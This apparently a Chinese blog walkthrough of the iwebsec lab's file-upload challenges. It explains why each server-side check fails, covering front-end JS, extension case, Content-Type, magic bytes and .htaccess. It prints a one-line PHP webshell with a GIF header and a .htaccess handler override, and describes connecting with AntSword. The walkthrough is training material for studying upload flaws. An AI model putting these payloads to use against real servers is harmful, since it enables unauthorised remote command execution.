当前位置: 首页 > news >正文

iwebsec靶场-文件上传漏洞

01-前端JS过滤绕过

1,查看前端代码对文件上传的限制策略

        function checkFile() {

            var file = document.getElementsByName('upfile')[0].value;

            if (file == null || file == "") {

                alert("你还没有选择任何文件,不能上传!");

                return false;

            }

            //定义允许上传的文件类型

            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";

            //提取上传文件的类型

            var ext_name = file.substring(file.lastIndexOf("."));

            //alert(ext_name);

            //alert(ext_name + "|");

            //判断上传文件类型是否允许上传

            if (allow_ext.indexOf(ext_name + "|") == -1) {

                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;

                alert(errMsg);

                return false;

            }

        }

先将木马命令为shell.jpg

然后尝试上传,在burp suite里面给请求包的文件名改回shell.php

然后使用蚁剑进行连接木马,连接成功

02-文件名过滤绕过

文件上传防御逻辑分析

1. 文件类型检测机制

$type = substr($name, strrpos($name, '.')+1); // 获取文件后缀
if($type=="php"){
    die("不能上传php文件!");
}

  • 检测方式:仅通过文件扩展名判断(取最后一个.后的内容)

致命缺陷:

  1. 未处理大小写:.PHP.Php 等可绕过
  2. 未过滤特殊后缀:.phtml.php5 等PHP变种可执行
  3. 未验证文件内容:真实文件类型可通过魔数伪造

2. 安全处理缺失

  • 无内容检测:未使用 exif_imagetype() 或 mime_content_type() 验证文件头
  • 无重命名机制:使用原始文件名存储,允许危险扩展名
  • 无尺寸限制:$size 仅做显示,未做限制

3. 路径处理风险

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目录遍历漏洞:若文件名含 ../ 可覆盖系统文件
  • 直接访问风险:上传目录 up/ 未设置访问权限控制

 

1,命名为shell.PHP,尝试上传

文件上传成功,连接链接如下http://192.168.23.130/upload/up/shell.PHP

03-Content-Type过滤绕过

文件上传防御逻辑分析

1. 文件类型检测机制

$type = $upfile["type"]; // 直接使用客户端提供的 MIME 类型
switch ($type) {
    case 'image/pjpeg': $okType = true; break;
    case 'image/jpeg': $okType = true; break;
    case 'image/gif': $okType = true; break;
    case 'image/png': $okType = true; break;
}

致命漏洞:

  1. 完全信任客户端提交的 Content-Type
  2. 攻击者可通过抓包工具随意修改 MIME 类型
  3. 未对文件内容进行任何验证

2. 安全防护缺失

  • 无扩展名检查:允许 shell.php 伪装成 image/jpeg
  • 无文件头验证:未使用 exif_imagetype() 验证实际文件类型
  • 无重命名机制:保留原始文件名,允许执行恶意脚本
  • 无尺寸限制:未限制上传文件大小

3. 路径处理风险

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目录遍历风险:文件名含 ../ 可覆盖系统文件
  • 执行权限风险:上传目录未禁止脚本执行

 

1,直接上传shell.php,然后再直接修改 Content-Type

然后找到上传位置连接一句话木马

http://192.168.23.130/upload/up/shell.php

04-文件头过滤绕过

文件上传防御逻辑分析

1. 核心防御机制

// 文件头验证
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
    die("请上传图片文件!");
}

防御原理:

  • 使用 exif_imagetype() 读取文件头魔数(magic bytes)
  • 验证是否为有效的图片格式(GIF/JPEG/PNG等)
  • 拒绝非图片文件上传

2. 扩展名提取方式

$type=substr($name, strrpos($name, '.')+1); // 获取文件后缀

风险点:

  • 仅用于显示,未做安全验证
  • 未过滤危险扩展名(如 .php.phtml

3. 安全措施缺失

  • 无扩展名过滤:允许上传 .php 等可执行扩展名
  • 无内容验证:未检查文件完整性或二次渲染
  • 无重命名机制:保留原始文件名
  • 无权限控制:上传目录未禁用脚本执行

 

1,首先写一个具有图片文件头的木马,burp suite改请求包内容

GIF89a;<?php system($_GET["cmd"]); ?>

没有文件头就会阻止上传

上传之后,然后连接成功

05-.htaccess文件上传

文件上传防御逻辑分析

1. 核心防御机制

$type = substr($name, strrpos($name, '.')+1); // 获取文件扩展名
if (preg_match('/php/i', $type)) { // 黑名单过滤
    die("不能上传php文件!");
}

防御原理:

  1. 提取文件扩展名(最后一个.后的内容)
  2. 使用正则 /php/i 匹配扩展名是否包含"php"(不区分大小写)
  3. 拦截所有包含"php"的扩展名(如 .php.php5.phtml

2. 防御措施的优缺点

优点:

  • 拦截常见PHP扩展名变种
  • 大小写不敏感匹配(.PHP.Php等都会被拦截)

致命缺陷:

  1. 黑名单机制不完整:
  • 未覆盖其他可执行扩展名:.htaccess.phar.inc
  • 未处理特殊扩展名:.php7.phps.pht
  1. 未验证文件内容:
  • 允许上传伪装成其他格式的PHP文件(如图片马)
  1. 路径处理风险:
    move_uploaded_file($tmp_name, 'up/'.$name);
  • 目录遍历:文件名含../可覆盖系统文件
  • 直接上传.htaccess文件可改变服务器行为

 

关键漏洞:.htaccess 攻击

攻击原理

  1. 上传特制的 .htaccess 文件
  2. 修改服务器配置,使特定扩展名文件被当作PHP执行
  3. 上传伪装成该扩展名的Webshell

攻击步骤

步骤1:上传.htaccess文件

<FilesMatch "shell.xyz ">

  SetHandler application/x-httpd-php

</FilesMatch>

  • 绕过检测:扩展名.htaccess不含"php" → 通过检查

步骤2:上传Webshell的一句话木马

步骤3:蚁剑连接

06-文件截断上传

07-竞争条件文件上传

http://www.lryc.cn/news/574778.html

相关文章:

  • 串口助手实例
  • lib61850 代码结构与系统架构深度分析
  • 鸿蒙OH南向开发 轻量系统内核(LiteOS-M)【异常调测】
  • 针对基于深度学习的侧信道分析(DLSCA)进行超参数的贝叶斯优化
  • vue 3 计算器
  • Nginx性能优化配置指南
  • 6.24_JAVA_微服务_Elasticsearch搜索
  • vscode + Jlink 一键调试stm32 单片机程序(windows系统版)
  • Git简介和常用命令
  • Windows安装Emscripten‌/emsdk(成功)
  • Python 数据分析与可视化 Day 6 - 可视化整合报告实战
  • Javaweb - 5 事件的绑定
  • 技术伦理之争:OpenAI陷抄袭风波,法院强制下架宣传视频
  • 自然语言处理入门
  • day041-web集群架构搭建
  • 软件设计模式选择、判断解析-1
  • 快速sincos算法,stm32测试
  • 用Rust写平衡三进制加法器
  • 【unitrix】 4.3 左移运算(<<)的实现(shl.rs)
  • 【WCF】单例模式的线程安全缓存管理器实现,给你的WebApi加入缓存吧
  • MyBatis Plus与P6Spy日志配置
  • leetcode230-二叉搜索树中第K小的元素
  • 【计算机网络】期末复习
  • 【教学类-89-08】20250624新年篇05——元宵节灯笼2CM黏贴边(倒置和正立数字 )
  • STM32学习笔记——中断控制
  • (C++)标准模板库(STL)相关介绍(C++教程)
  • C语言专题——关键字详解
  • 前端后端文件下载防抖实现方案
  • 浅谈开源在线客服系统与 APP 集成的技术方案与优劣势
  • 华为云Flexus+DeepSeek征文 | 基于华为云的 Dify-LLM 企业级 AI 开发平台部署指南